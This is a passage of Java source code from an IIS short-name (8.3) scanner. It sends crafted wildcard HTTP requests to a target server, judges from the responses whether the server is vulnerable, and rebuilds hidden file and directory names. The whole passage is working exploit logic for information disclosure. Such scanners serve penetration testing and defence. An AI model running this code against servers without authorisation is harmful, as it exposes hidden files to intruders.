number in ~1 to reduce the maximum if for example it should only go as high as 1 619 | //TODO: 2- find list of valid extensions first, then apply them to identified names -> if no extensions exist, they are all directories 620 | //TODO: 3- send a request to the shortname file and its extension to see whether it can be served directly (this is when a file has been actually saved with its shortname) 621 | //TODO: 4- try to guess a complete extension based on a predefined list of all potential extensions 622 | //TODO: 5- Show those files having 4 Letter Hex after first 2 letters 623 | scanListPurifier(); 624 | threadPool = new ThreadPool(concurrentThreads); 625 | incThreadCounter(1); 626 | threadPool.runTask(multithread_iterateScanFileName("")); 627 | } 628 | } 629 | break; 630 | } 631 | } 632 | if (isVulnerableResult) break; 633 | } 634 | 635 | while (threadCounter != 0) { 636 | Thread.sleep(1); 637 | } 638 | threadPool.join(); 639 | if (!currentShowProgressMode.equals(ShowProgressMode.FINALRESULT)) 640 | showOutputs(""); 641 | showOutputs("# IIS Short Name (8.3) Scanner version " + strVersion + " - scan initiated " + (new SimpleDateFormat("yyyy/MM/dd HH:mm:ss")).format(new Date())); 642 | showOutputs("Target: " + destURL); 643 | if (!isVulnerableResult) 644 | showOutputsTree("Result: Not vulnerable or no item was found. It was not possible to get proper/different error messages from the server. Check the inputs and try again.", 0); 645 | else { 646 | showOutputsTree("Result: Vulnerable!", 0); 647 | showOutputsTree("Used HTTP method: " + reliableRequestMethod, 0); 648 | showOutputsTree("Suffix (magic part): " + magicFinalPart, 0); 649 | } 650 | 651 | // Warnings 652 | List warningStrings = new ArrayList<>(); 653 | if (isLastFolderIgnored) 654 | warningStrings.add("URL does not end with a slash character (/) - last folder was ignored!"); 655 | if (!destURL.toLowerCase().startsWith("http://") && !destURL.toLowerCase().startsWith("https://")) 656 | warningStrings.add("URL does not start with HTTP:// or HTTPS:// protocol - this may fail the scanner completely!"); 657 | // Only shows more warnings when we are trying to get files/folders as well 658 | if (!onlyCheckForVulnerableSite) { 659 | // Show message for boolIsQuestionMarkReliable 660 | if (!isQuestionMarkReliable) { 661 | warningStrings.add("Question mark character was blocked: you may have a lot of false positives. -> manual check is needed."); 662 | } 663 | // Show message for boolIsExtensionReliable 664 | if (!isExtensionReliable) { 665 | warningStrings.add("File extensions could not be verified. you may have false positive results. -> manual check is needed."); 666 | } 667 | 668 | // Show message when there was network error 669 | if (!isNetworkReliable) { 670 | warningStrings.add("Some network problems were detected and the results can be unreliable. Please try again with less threads."); 671 | } 672 | } 673 | if (warningStrings.size() > 0) { 674 | 675 | showOutputsTree("Warning(s):", 0); 676 | for (String strWarning : warningStrings) { 677 | showOutputsTree(strWarning, 1); 678 | } 679 | } 680 | 681 | 682 | //showOutputs("\r\n\r\n--------- Final Result ---------"); 683 | showOutputsTree("Extra information:", 0); 684 | 685 | //showOutputs(getReqCounter() + " requests have been sent to the server:"); 686 | showOutputsTree("Number of sent requests: " + getReqCounter(), 1); 687 | if (!finalResultsDirs.isEmpty() || !finalResultsFiles.isEmpty()) { 688 | 689 | showOutputsTree("Identified directories: " + finalResultsDirs.size(), 1); 690 | for (String s : finalResultsDirs) { 691 | String currentName = s; 692 | showOutputsTree(s, 2); 693 | String currentExt = ""; 694 | if (s.length() - s.lastIndexOf(".") <= 3) { 695 | currentName = s.substring(0, s.lastIndexOf(".")); 696 | currentExt = s.substring(s.lastIndexOf(".")); 697 | } 698 | if (showActualNames) { 699 | if (currentName.lastIndexOf("~") < 6) { 700 | if (currentName.lastIndexOf("~") == 5 && s.matches(".*(\\w\\d|\\d\\w).*")) { 701 | showOutputsTree("Possible directory name = " + s.substring(0, currentName.lastIndexOf("~")), 3); 702 | } else { 703 | showOutputsTree("Actual directory name = " + s.substring(0, currentName.lastIndexOf("~")), 3); 704 | } 705 | } 706 | if (s.length() - s.lastIndexOf(".") <= 3) 707 | showOutputsTree("Actual extension = " + currentExt, 3); 708 | } 709 | 710 | 711 | } 712 | 713 | showOutputsTree("Identified files: " + finalResultsFiles.size(), 1); 714 | for (String s : finalResultsFiles) { 715 | String currentName = s; 716 | showOutputsTree(s, 2); 717 | String currentExt = ""; 718 | if (s.length() - s.lastIndexOf(".") <= 3) { 719 | currentName = s.substring(0, s.lastIndexOf(".")); 720 | currentExt = s.substring(s.lastIndexOf(".")); 721 | } 722 | if (showActualNames) { 723 | if (currentName.lastIndexOf("~") < 6) { 724 | if (currentName.lastIndexOf("~") == 5 && s.matches("^[a-fA-F0-9]{5}.*")) { 725 | showOutputsTree("Possible file name = " + s.substring(0, currentName.lastIndexOf("~")), 3); 726 | } else { 727 | showOutputsTree("Actual file name = " + s.substring(0, currentName.lastIndexOf("~")), 3); 728 | } 729 | } 730 | if (s.length() - s.lastIndexOf(".") <= 3) 731 | showOutputsTree("Actual extension = " + currentExt, 3); 732 | } 733 | 734 | } 735 | } 736 | 737 | //showOutputs(finalResultsDirs.size() + " Dir(s) was/were found"); 738 | //showOutputs(finalResultsFiles.size() + " File(s) was/were found\r\n"); 739 | 740 | } 741 | 742 | private void scanListPurifier() { 743 | try { 744 | ThreadPool localThreadPool = new ThreadPool(concurrentThreads); 745 | localThreadPool.runTask(multithread_FindingTildeMaxNumber()); 746 | 747 | for (String s : arrayScanList) { 748 | if (nameStartsWith.length() < 6) 749 | localThreadPool.runTask(multithread_NameCharPurifier(s)); 750 | 751 | if (isExtensionReliable && extStartsWith.length() < 3) { 752 | localThreadPool.runTask(multithread_ExtensionCharPurifier(s)); 753 | } 754 | } 755 | localThreadPool.join(); 756 | arrayScanListName = scanListName.toArray(new String[0]); 757 | showOutputs("Early result: identified letters in names > " + String.join(",", arrayScanListName)); 758 | if (isExtensionReliable) { 759 | arrayScanListExt = scanListExtension.toArray(new String[0]); 760 | showOutputs("Early result: identified letters in extensions > " + String.join(",", arrayScanListExt)); 761 | } 762 | 763 | } catch (Exception err) { 764 | if (debugMode) { 765 | StringWriter sw = new StringWriter(); 766 | err.printStackTrace(new PrintWriter(sw)); 767 | String exceptionAsString = sw.toString(); 768 | showOutputs(exceptionAsString, OutputType.ERROR); 769 | } 770 | } 771 | } 772 | 773 | private Runnable multithread_FindingTildeMaxNumber() { 774 | return new Runnable() { 775 | @Override 776 | public void run() { 777 | try { 778 | showOutputs("Finding maximum number after ~", OutputType.DEBUG); 779 | for (int i = 1; i <= maxNumericalPart; i++) { 780 | String statusCode = getStatus("/" + nameStartsWith + asteriskSymbol + "~" + i + asteriskSymbol + magicFinalPart); // Should be valid to be added to the list 781 | if (statusCode.equals("invalid")) { 782 | maxNumericalPart = i - 1; 783 | break; 784 | } 785 | } 786 | } catch (Exception err) { 787 | if (debugMode) { 788 | StringWriter sw = new StringWriter(); 789 | err.printStackTrace(new PrintWriter(sw)); 790 | String exceptionAsString = sw.toString(); 791 | showOutputs(exceptionAsString, OutputType.ERROR); 792 | } 793 | } 794 | decThreadCounter(1); 795 | } 796 | }; 797 | } 798 | 799 | private Runnable multithread_NameCharPurifier(final String strInput) { 800 | return new Runnable() { 801 | 802 | public void run() { 803 | try { 804 | showOutputs("Is this character valid in name? " + strInput, OutputType.DEBUG); 805 | 806 | String statusCode = getStatus("/" + nameStartsWith + asteriskSymbol + strInput + asteriskSymbol + "~1" + asteriskSymbol + magicFinalPart); // Should be valid to be added to the list 807 | 808 | // when extension should start with something 809 | if (!extStartsWith.equals("")) 810 | statusCode = getStatus("/" + nameStartsWith + asteriskSymbol + strInput + asteriskSymbol + "~1" + asteriskSymbol + "." + extStartsWith + magicFileExtension + magicFinalPart); 811 | 812 | if (statusCode.equals("valid")) { 813 | String tempInvalidStatusCode = getStatus("/" + nameStartsWith + asteriskSymbol + new String(new char[7]).replace("\0", strInput) + asteriskSymbol + "~1" + asteriskSymbol + "." + extStartsWith + magicFileExtension + magicFinalPart); // It is obviously invalid, but some URL rewriters are sensitive against some characters! 814 | // So if tempInvalidStatusCode is also valid then something is very wrong! 815 | if (!tempInvalidStatusCode.equals("valid")) { 816 | statusCode = getStatus("/1234567890" + strInput + asteriskSymbol + "~1" + asteriskSymbol + magicFinalPart); // It is obviously invalid, but some URL rewriters are sensitive against some characters! 817 | 818 | // when extension should start with something 819 | if (!magicFileExtension.equals("")) 820 | statusCode = getStatus("/1234567890" + strInput + asteriskSymbol + "~1" + asteriskSymbol + "." + extStartsWith + magicFileExtension + magicFinalPart); // It is obviously invalid, but some URL rewriters are sensitive against some characters! 821 | 822 | if (!statusCode.equals("valid")) { 823 | addValidCharToName(strInput); // Valid character - add it to the list 824 | 825 | showOutputs("Valid character in name:" + strInput, OutputType.DEBUG); 826 | 827 | } 828 | } 829 | } 830 | } catch (Exception err) { 831 | if (debugMode) { 832 | StringWriter sw = new StringWriter(); 833 | err.printStackTrace(new PrintWriter(sw)); 834 | String exceptionAsString = sw.toString(); 835 | showOutputs(exceptionAsString, OutputType.ERROR); 836 | } 837 | } 838 | decThreadCounter(1); 839 | } 840 | }; 841 | } 842 | 843 | private synchronized void addValidCharToName(String strInput) { 844 | scanListName.add(strInput); 845 | } 846 | 847 | private Runnable multithread_ExtensionCharPurifier(final String strInput) { 848 | return new Runnable() { 849 | 850 | public void run() { 851 | try { 852 | String statusCode = getStatus("/" + nameStartsWith + asteriskSymbol + "~1." + extStartsWith + asteriskSymbol + strInput + asteriskSymbol + magicFinalPart); // Should be valid to be added to the list 853 | 854 | showOutputs("Is this character valid in extension? " + strInput, OutputType.DEBUG); 855 | 856 | if (statusCode.equals("valid")) { 857 | String tempInvalidStatusCode = getStatus("/" + nameStartsWith + asteriskSymbol + "~1." + extStartsWith + asteriskSymbol + new String(new char[4]).replace("\0", strInput) + asteriskSymbol + magicFinalPart); // It is obviously invalid, but some URL rewriters are sensitive against some characters! 858 | // So if tempInvalidStatusCode is also valid then something is very wrong! 859 | if (!tempInvalidStatusCode.equals("valid")) { 860 | statusCode = getStatus("/" + nameStartsWith + asteriskSymbol + "~1." + asteriskSymbol + strInput + "1234567890" + magicFinalPart); // It is obviously invalid, but some URL rewriters are sensitive against some characters! 861 | if (!statusCode.equals("valid")) { 862 | addValidCharToExtension(strInput); // Valid character - add it to the list 863 | 864 | showOutputs("Valid character in extension:" + strInput, OutputType.DEBUG); 865 | 866 | } 867 | } 868 | } 869 | } catch (Exception err) { 870 | if (debugMode) { 871 | StringWriter sw = new StringWriter(); 872 | err.printStackTrace(new PrintWriter(sw)); 873 | String exceptionAsString = sw.toString(); 874 | showOutputs(exceptionAsString, OutputType.ERROR); 875 | } 876 | } 877 | decThreadCounter(1); 878 | } 879 | }; 880 | } 881 | 882 | private synchronized void addValidCharToExtension(String strInput) { 883 | scanListExtension.add(strInput); 884 | } 885 | 886 | private Runnable multithread_iterateScanFileName(final String strInputFinal) { 887 | return new Runnable() { 888 | 889 | public void run() { 890 | try { 891 | String strInput = strInputFinal; 892 | if (strInput.equals("") && !nameStartsWith.equals("")) { 893 | strInput = nameStartsWith; 894 | } 895 | boolean atLeastOneSuccess = false; 896 | for (int i = 0; i < arrayScanListName.length; i++) { 897 | String newStr = strInput + arrayScanListName[i]; 898 | 899 | String statusCode; 900 | if (!extStartsWith.equals("")) 901 | statusCode = getStatus("/" + newStr + magicFileName + "." + extStartsWith + magicFileExtension + magicFinalPart); 902 | else 903 | statusCode = getStatus("/" + newStr + magicFileName + magicFinalPart); 904 | 905 | if (currentShowProgressMode.equals(ShowProgressMode.ALL)) { 906 | String internalMessage = "\r" + marker[i % marker.length] + " " + strInput + arrayScanListName[i].toUpperCase() + "\t\t"; 907 | System.out.print(internalMessage); // To show the progress! - Just Pretty! - we don't need to log this, so we need to print it here without using showOutputs 908 | } 909 | 910 | if (statusCode.equals("valid")) { 911 | atLeastOneSuccess = true; 912 | //if(showProgress) System.out.print(internalMessage); // Print new characters to show the success! - Just Pretty! 913 | int isItLastFileName = isItLastFileName(newStr); 914 | if (isItLastFileName > 0) { 915 | // Add it to final list 916 | int counter = 1; 917 | while ((statusCode.equals("valid") && counter <= maxNumericalPart) || (counter <= forceNumericalPart && counter > 1)) { 918 | String fileName = newStr + "~" + counter; 919 | // Find Extension 920 | if (isItFolder(fileName) == 1) { 921 | 922 | showOutputs("\rDir: " + fileName.toUpperCase() + "\t\t", ShowProgressMode.PARTIALRESULT); 923 | 924 | addValidDirToResults(fileName.toUpperCase()); 925 | } 926 | if (isExtensionReliable) { 927 | fileName += "."; 928 | if (extStartsWith.length() == 3) { 929 | // we have already found our file as the extension was in the config file 930 | addValidFileToResults(fileName.toUpperCase() + extStartsWith); 931 | } else { 932 | incThreadCounter(1); 933 | threadPool.runTask(multithread_iterateScanFileExtension(fileName, "", false)); 934 | } 935 | ++counter; 936 | } else { 937 | showOutputs("\rFile: " + fileName.toUpperCase() + ".??? - extension cannot be found\t\t", ShowProgressMode.PARTIALRESULT); 938 | addValidFileToResults(fileName.toUpperCase() + ".???"); 939 | statusCode = "000 Extension is not reliable"; 940 | } 941 | } 942 | if (isItLastFileName == 2) { 943 | incThreadCounter(1); 944 | threadPool.runTask(multithread_iterateScanFileName(newStr)); 945 | } 946 | } else { 947 | incThreadCounter(1); 948 | threadPool.runTask(multithread_iterateScanFileName(newStr)); 949 | } 950 | } else { 951 | // Ignore it? 952 | if (strInput.length() > 0 && strInput.equals(nameStartsWith) && atLeastOneSuccess == false && i == arrayScanList.length - 1) { 953 | // We have a failure here... it should have at least found 1 item! 954 | String unFinishedString = String.format("%1s%2$" + (6 - strInput.length()) + "s~?", strInput.toUpperCase(), "?????"); 955 | 956 | showOutputs("\rFile/Dir: " + unFinishedString + " - possible network/server problem\t\t", ShowProgressMode.PARTIALRESULT); 957 | addValidDirToResults(unFinishedString); 958 | } 959 | } 960 | } 961 | if (currentShowProgressMode.equals(ShowProgressMode.ALL)) { 962 | System.out.print("\r\t\t\t\t"); 963 | } 964 | 965 | } catch (Exception err) { 966 | if (debugMode) { 967 | StringWriter sw = new StringWriter(); 968 | err.printStackTrace(new PrintWriter(sw)); 969 | String exceptionAsString = sw.toString(); 970 | showOutputs(exceptionAsString, OutputType.ERROR); 971 | } 972 | } 973 | decThreadCounter(1); 974 | } 975 | }; 976 | } 977 | 978 | private void iterateScanFileNameLegacy(String strInput) { 979 | boolean atLeastOneSuccess = false; 980 | if (strInput.equals("") && !nameStartsWith.equals("")) { 981 | strInput = nameStartsWith; 982 | } 983 | for (int i = 0; i < arrayScanList.length; i++) { 984 | String newStr = strInput + arrayScanList[i]; 985 | 986 | String statusCode; 987 | if (!extStartsWith.equals("")) 988 | statusCode = getStatus("/" + newStr + magicFileName + "." + extStartsWith + magicFileExtension + magicFinalPart); 989 | else 990 | statusCode = getStatus("/" + newStr + magicFileName + magicFinalPart); 991 | 992 | if (currentShowProgressMode.equals(ShowProgressMode.ALL)) { 993 | String internalMessage = "\r" + marker[i % marker.length] + " " + strInput + arrayScanList[i].toUpperCase() + "\t\t"; 994 | System.out.print(internalMessage); // To show the progress! - Just Pretty! 995 | } 996 | if (statusCode.equals("valid")) { 997 | atLeastOneSuccess = true; 998 | //if(showProgress) System.out.print(internalMessage); // Print new characters to show the success! - Just Pretty! 999 | int isItLastFileName = isItLastFileName(newStr); 1000 | if (isItLastFileName > 0) { 1001 | // Add it to final list 1002 | int counter = 1; 1003 | while ((statusCode.equals("valid") && counter <= maxNumericalPart) || (counter <= forceNumericalPart && counter > 1)) { 1004 | String fileName = newStr + "~" + counter; 1005 | // Find Extension 1006 | if (isItFolder(fileName) == 1) { 1007 | showOutputs("\rDir: " + fileName.toUpperCase() + "\t\t", ShowProgressMode.PARTIALRESULT); 1008 | addValidDirToResults(fileName.toUpperCase()); 1009 | } 1010 | if (isExtensionReliable) { 1011 | fileName += "."; 1012 | if (extStartsWith.length() == 3) { 1013 | // we have already found our file as the extension was in the config file 1014 | addValidFileToResults(fileName.toUpperCase() + extStartsWith); 1015 | } else { 1016 | iterateScanFileExtensionLegacy(fileName, ""); 1017 | } 1018 | statusCode = getStatus("/" + newStr + magicFileName.replace("1", Integer.toString(++counter)) + magicFinalPart); 1019 | } else { 1020 | showOutputs("\rFile: " + fileName.toUpperCase() + ".??? - extension cannot be found\t\t", ShowProgressMode.PARTIALRESULT); 1021 | addValidFileToResults(fileName.toUpperCase() + ".???"); 1022 | statusCode = "000 Extension is not reliable"; 1023 | } 1024 | } 1025 | if (isItLastFileName == 2) { 1026 | iterateScanFileNameLegacy(newStr); 1027 | } 1028 | } else { 1029 | iterateScanFileNameLegacy(newStr); 1030 | } 1031 | } else { 1032 | // Ignore it? 1033 | if (strInput.length() > 0 && strInput.equals(nameStartsWith) && atLeastOneSuccess == false && i == arrayScanList.length - 1) { 1034 | // We have a failure here... it should have at least found 1 item! 1035 | String unFinishedString = String.format("%1s%2$" + (6 - strInput.length()) + "s~?", strInput.toUpperCase(), "?????"); 1036 | showOutputs("\rFile/Dir: " + unFinishedString + " - possible network/server problem\t\t", ShowProgressMode.PARTIALRESULT); 1037 | addValidDirToResults(unFinishedString); 1038 | } 1039 | } 1040 | } 1041 | if (currentShowProgressMode.equals(ShowProgressMode.ALL)) { 1042 | System.out.print("\r\t\t\t\t"); 1043 | } 1044 | } 1045 | 1046 | private int isItLastFileName(String strInput) { 1047 | int result = 1; // File is available and there is no more file 1048 | if (!isQuestionMarkReliable) { 1049 | // we cannot use "?" for this validation as this result will include false positives... 1050 | result = 2; 1051 | } else { 1052 | if (strInput.length() < 6) { 1053 | try { 1054 | String statusCode = getStatus("/" + strInput + questionMarkSymbol + asteriskSymbol + "~1" + asteriskSymbol + magicFinalPart); 1055 | if (statusCode.equals("valid")) { 1056 | result = 0; // This file is not completed 1057 | statusCode = getStatus("/" + strInput + "~1" + asteriskSymbol + magicFinalPart); 1058 | if (statusCode.equals("valid")) { 1059 | result = 2; // This file is available but there are more as well 1060 | } 1061 | } else { 1062 | // Sometimes in rare cases we can see that a virtual directory is still there with more character 1063 | statusCode = getStatus("/" + strInput + "~1" + asteriskSymbol + magicFinalPart); 1064 | if (statusCode.equals("invalid")) { 1065 | result = 0; // This file is not completed 1066 | } 1067 | } 1068 | } catch (Exception err) { 1069 | if (debugMode) { 1070 | StringWriter sw = new StringWriter(); 1071 | err.printStackTrace(new PrintWriter(sw)); 1072 | String exceptionAsString = sw.toString(); 1073 | showOutputs(exceptionAsString, OutputType.ERROR); 1074 | } 1075 | } 1076 | } 1077 | } 1078 | return result; 1079 | } 1080 | 1081 | private Runnable multithread_iterateScanFileExtension(final String strFilename, final String strInputFinal, final boolean hasValidParent) { 1082 | return new Runnable() { 1083 | 1084 | public void run() { 1085 | try { 1086 | String strInput = strInputFinal; 1087 | if (strInput.equals("") && !extStartsWith.equals("")) { 1088 | strInput = extStartsWith; 1089 | } 1090 | boolean atLeastOneSuccess = false; 1091 | if (hasValidParent) 1092 | atLeastOneSuccess = true; 1093 | 1094 | for (int i = 0; i < arrayScanListExt.length; i++) { 1095 | String newStr = strInput + arrayScanListExt[i]; 1096 | String statusCode; 1097 | if (newStr.length() <= 2) { 1098 | statusCode = getStatus("/" + strFilename + newStr + magicFileExtension + magicFinalPart); 1099 | } else { 1100 | statusCode = getStatus("/" + strFilename + newStr + magicFinalPart); 1101 | } 1102 | String internalMessage = "\r" + marker[i % marker.length] + " " + strFilename + strInput + arrayScanListExt[i].toUpperCase() + "\t\t"; 1103 | if (currentShowProgressMode.equals(ShowProgressMode.ALL)) { 1104 | System.out.print(internalMessage); // To show the progress! - Just Pretty! 1105 | } 1106 | if (statusCode.equals("valid")) { 1107 | atLeastOneSuccess = true; 1108 | //if(showProgress) System.out.print(internalMessage); // Print new characters to show the success! - Just Pretty! 1109 | if (isItLastFileExtension(strFilename + newStr)) { 1110 | // Add it to final list 1111 | String fileName = strFilename + newStr; 1112 | showOutputs("\rFile: " + fileName.toUpperCase() + "\t\t", ShowProgressMode.PARTIALRESULT); 1113 | addValidFileToResults(fileName.toUpperCase()); 1114 | if (newStr.length() < 3) { 1115 | incThreadCounter(1); 1116 | threadPool.runTask(multithread_iterateScanFileExtension(strFilename, newStr, true)); 1117 | } 1118 | } else { 1119 | incThreadCounter(1); 1120 | threadPool.runTask(multithread_iterateScanFileExtension(strFilename, newStr, true)); 1121 | } 1122 | } else { 1123 | // Ignore it? 1124 | if (strInput.length() > 0 && atLeastOneSuccess == false && i == arrayScanListExt.length - 1) { 1125 | // We have a failure here... it should have at least found 1 item! 1126 | String unFinishedString = strFilename + String.format("%1s%2$" + (3 - strInput.length()) + "s", strInput.toUpperCase(), "??"); 1127 | showOutputs("\rFile: " + unFinishedString + " - possible network/server problem\t\t", ShowProgressMode.PARTIALRESULT); 1128 | addValidFileToResults(unFinishedString); 1129 | } 1130 | } 1131 | } 1132 | if (currentShowProgressMode.equals(ShowProgressMode.ALL)) { 1133 | System.out.print("\r\t\t\t\t"); 1134 | } 1135 | } catch (Exception err) { 1136 | if (debugMode) { 1137 | StringWriter sw = new StringWriter(); 1138 | err.printStackTrace(new PrintWriter(sw)); 1139 | String exceptionAsString = sw.toString(); 1140 | showOutputs(exceptionAsString, OutputType.ERROR); 1141 | } 1142 | } 1143 | decThreadCounter(1); 1144 | } 1145 | }; 1146 | } 1147 | 1148 | private void iterateScanFileExtensionLegacy(String strFilename, String strInput) { 1149 | if (strInput.equals("") && !extStartsWith.equals("")) { 1150 | strInput = extStartsWith; 1151 | } 1152 | boolean atLeastOneSuccess = false; 1153 | for (int i = 0; i < arrayScanList.length; i++) { 1154 | String newStr = strInput + arrayScanList[i]; 1155 | String statusCode = getStatus("/" + strFilename + newStr + magicFileExtension + magicFinalPart); 1156 | String internalMessage = "\r" + marker[i % marker.length] + " " + strFilename + strInput + arrayScanList[i].toUpperCase() + "\t\t"; 1157 | if (currentShowProgressMode.equals(ShowProgressMode.ALL)) { 1158 | System.out.print(internalMessage); // To show the progress! - Just Pretty! 1159 | } 1160 | if (statusCode.equals("valid")) { 1161 | atLeastOneSuccess = true; 1162 | //if(showProgress) System.out.print(internalMessage); // Print new characters to show the success! - Just Pretty! 1163 | if (isItLastFileExtension(strFilename + newStr)) { 1164 | // Add it to final list 1165 | String fileName = strFilename + newStr; 1166 | showOutputs("\rFile: " + fileName.toUpperCase() + "\t\t", ShowProgressMode.PARTIALRESULT); 1167 | addValidFileToResults(fileName.toUpperCase()); 1168 | if (newStr.length() < 3) { 1169 | iterateScanFileExtensionLegacy(strFilename, newStr); 1170 | } 1171 | } else { 1172 | iterateScanFileExtensionLegacy(strFilename, newStr); 1173 | } 1174 | } else { 1175 | // Ignore it? 1176 | if (strInput.length() > 0 && atLeastOneSuccess == false && i == arrayScanList.length - 1) { 1177 | // We have a failure here... it should have at least found 1 item! 1178 | String unFinishedString = strFilename + String.format("%1s%2$" + (3 - strInput.length()) + "s", strInput.toUpperCase(), "??"); 1179 | showOutputs("\rFile: " + unFinishedString + " - possible network/server problem\t\t", ShowProgressMode.PARTIALRESULT); 1180 | addValidFileToResults(unFinishedString); 1181 | } 1182 | } 1183 | } 1184 | if (currentShowProgressMode.equals(ShowProgressMode.ALL)) { 1185 | System.out.print("\r\t\t\t\t"); 1186 | } 1187 | } 1188 | 1189 | private boolean isItLastFileExtension(String strInput) { 1190 | boolean result = false; 1191 | if (!isExtensionReliable) { 1192 | result = true; 1193 | } else if (strInput.length() <= 12) { 1194 | //showOutputs(strInput); 1195 | int extLength = 3; // default length 1196 | if (strInput.indexOf(".") > 0 && strInput.indexOf(".") != strInput.length() - 1) { 1197 | String[] temp = strInput.split("\\."); 1198 | if (temp[1].length() >= extLength) { 1199 | result = true; 1200 | } else if (getStatus("/" + strInput + "." + asteriskSymbol + magicFinalPart).equals("valid")) { 1201 | result = true; 1202 | } else if (!sendHTTPReq(strInput + magicFinalPart).equals(sendHTTPReq(strInput + "xxx" + magicFinalPart))) { 1203 | result = true; 1204 | } 1205 | } 1206 | if (!result) { 1207 | try { 1208 | String statusCode = getStatus("/" + strInput + magicFileExtension + magicFinalPart); 1209 | if (!statusCode.equals("valid")) { 1210 | result = true; 1211 | } 1212 | } catch (Exception err) { 1213 | if (debugMode) { 1214 | StringWriter sw = new StringWriter(); 1215 | err.printStackTrace(new PrintWriter(sw)); 1216 | String exceptionAsString = sw.toString(); 1217 | showOutputs(exceptionAsString, OutputType.ERROR); 1218 | } 1219 | //showOutputs("isItLastFileExtension() Error: " + err.toString()); 1220 | } 1221 | } 1222 | } 1223 | //showOutputs(result); 1224 | return result; 1225 | } 1226 | 1227 | private int isItFolder(String strInput) { 1228 | int result = 0; // No Dir or File 1229 | if (!isQuestionMarkReliable) { 1230 | // we cannot use "?" for validation! 1231 | // too many false positives here ... 1232 | result = 1; 1233 | } else { 1234 | try { 1235 | String statusCode1 = getStatus("/" + strInput + questionMarkSymbol + magicFinalPart); 1236 | if (statusCode1.equals("valid")) { 1237 | String statusCode2 = getStatus("/" + strInput + asteriskSymbol + magicFinalPart); 1238 | if (statusCode1.equals(statusCode2)) { 1239 | result = 1; // A directory 1240 | } 1241 | } 1242 | } catch (Exception err) { 1243 | if (debugMode) { 1244 | StringWriter sw = new StringWriter(); 1245 | err.printStackTrace(new PrintWriter(sw)); 1246 | String exceptionAsString = sw.toString(); 1247 | showOutputs(exceptionAsString, OutputType.ERROR); 1248 | } 1249 | //showOutputs("isItFolder() Error: " + err.toString()); 1250 | } 1251 | } 1252 | return result; 1253 | } 1254 | 1255 | private String getStatus(String strAddition) { 1256 | return getStatus(strAddition, 0); 1257 | } 1258 | 1259 | private String getStatus(String strAddition, int counter) { 1260 | String status = ""; 1261 | try { 1262 | if (!strAddition.startsWith("/")) { 1263 | strAddition = "/" + strAddition; 1264 | } 1265 | 1266 | strAddition = strAddition.replace("//", "/"); 1267 | 1268 | String statusResponse = sendHTTPReq(strAddition); 1269 | //status = HTTPReqResponseSocket(strAddition, 0); 1270 | 1271 | /* 1272 | // Although it seems it is allow-list and should be good, we may miss some results, and it is better to use blocklist 1273 | if (status.equals(statusResponse)) { 1274 | status = "valid"; 1275 | } else { 1276 | status = "invalid"; 1277 | } 1278 | */ 1279 | 1280 | // blocklist approach to find even more for difficult and strange cases! 1281 | if (invalidStatusList.contains(statusResponse)) { 1282 | status = "invalid"; 1283 | } else if (validStatusList.stream().anyMatch(str -> str.substring(0, Math.min(str.length(), 50)).equals(statusResponse.substring(0, Math.min(statusResponse.length(), 50))))) { 1284 | status = "valid"; 1285 | } else if (counter > 2) { 1286 | for (var is : invalidStatusList) { 1287 | if (is.substring(0, Math.min(is.length(), 50)).equals(statusResponse.substring(0, Math.min(statusResponse.length(), 50)))) { 1288 | status = "invalid"; 1289 | break; 1290 | } 1291 | } 1292 | if (status.isBlank()) 1293 | status = "valid"; 1294 | } else { 1295 | // we send the request again to ensure this was not just a one off 1296 | status = getStatus(strAddition, counter + 1); 1297 | } 1298 | 1299 | } catch (Exception err) { 1300 | if (debugMode) { 1301 | StringWriter sw = new StringWriter(); 1302 | err.printStackTrace(new PrintWriter(sw)); 1303 | String exceptionAsString = sw.toString(); 1304 | showOutputs(exceptionAsString, OutputType.ERROR); 1305 | } 1306 | //showOutputs("GetStatus() Error: " + err.toString() + " - Status: " + status); 1307 | } 1308 | showOutputs("Status for " + strAddition + ": " + status, OutputType.DEBUG); 1309 | return status; 1310 | } 1311 | 1312 | private List getUniqueResponseList(String targetURL) { 1313 | return getResponseList(targetURL, minVulnerableCheckRepeat, acceptableDifferenceLengthBetweenResponses, true); 1314 | } 1315 | 1316 | private List getResponseList(String targetURL, int numberOfChecks, int responseLengthDifferenceThreshold, boolean keepUnique) { 1317 | List finalResponseList = new ArrayList<>(); 1318 | 1319 | if (numberOfChecks < 1) { 1320 | numberOfChecks = 1; 1321 | } 1322 | 1323 | for (int i = 0; i < numberOfChecks; i++) { 1324 | String currentResponse = sendHTTPReq(targetURL); 1325 | 1326 | if (keepUnique) { 1327 | if (!isResponseInList(currentResponse, finalResponseList, responseLengthDifferenceThreshold)) { 1328 | finalResponseList.add(currentResponse); 1329 | } 1330 | } else { 1331 | finalResponseList.add(currentResponse); 1332 | } 1333 | } 1334 | 1335 | return finalResponseList; 1336 | } 1337 | 1338 | private List keepUniqueResponseList(List sourceList, List comparedWithList, int responseLengthDifferenceThreshold) { 1339 | List mergedList = new ArrayList<>(); 1340 | List uniqueList = new ArrayList<>(); 1341 | 1342 | mergedList.addAll(comparedWithList); 1343 | 1344 | for (String sourceItem : sourceList) { 1345 | boolean isUnique = true; 1346 | if (!mergedList.contains(sourceItem)) { 1347 | if (responseLengthDifferenceThreshold > 0) { 1348 | for (String targetItem : comparedWithList) { 1349 | if (Math.abs(targetItem.length() - sourceItem.length()) <= responseLengthDifferenceThreshold) { 1350 | // we can safely ignore it as it is within the threshold 1351 | isUnique = false; 1352 | break; 1353 | } 1354 | } 1355 | } 1356 | } else { 1357 | isUnique = false; 1358 | } 1359 | 1360 | if (isUnique) { 1361 | mergedList.add(sourceItem); 1362 | uniqueList.add(sourceItem); 1363 | } 1364 | } 1365 | 1366 | return uniqueList; 1367 | } 1368 | 1369 | private boolean isResponseInList(String currentResponse, List sourceList, int responseLengthDifferenceThreshold) { 1370 | boolean isUnique = false; 1371 | if (!sourceList.contains(currentResponse)) { 1372 | isUnique = true; 1373 | if (responseLengthDifferenceThreshold > 0) { 1374 | for (String sourceItem : sourceList) { 1375 | if (Math.abs(sourceItem.length() - currentResponse.length()) <= responseLengthDifferenceThreshold) { 1376 | // we can safely ignore it as it is within the threshold 1377 | isUnique = false; 1378 | break; 1379 | } 1380 | } 1381 | } 1382 | } 1383 | 1384 | return !isUnique; 1385 | } 1386 | 1387 | private boolean doResponseListsShareOneItem(List sourceList, List targetList, int responseLengthDifferenceThreshold) { 1388 | boolean isUnique = true; 1389 | for (String sourceItem : sourceList) { 1390 | if (!targetList.contains(sourceItem)) { 1391 | if (responseLengthDifferenceThreshold > 0) { 1392 | for (String targetItem : targetList) { 1393 | if 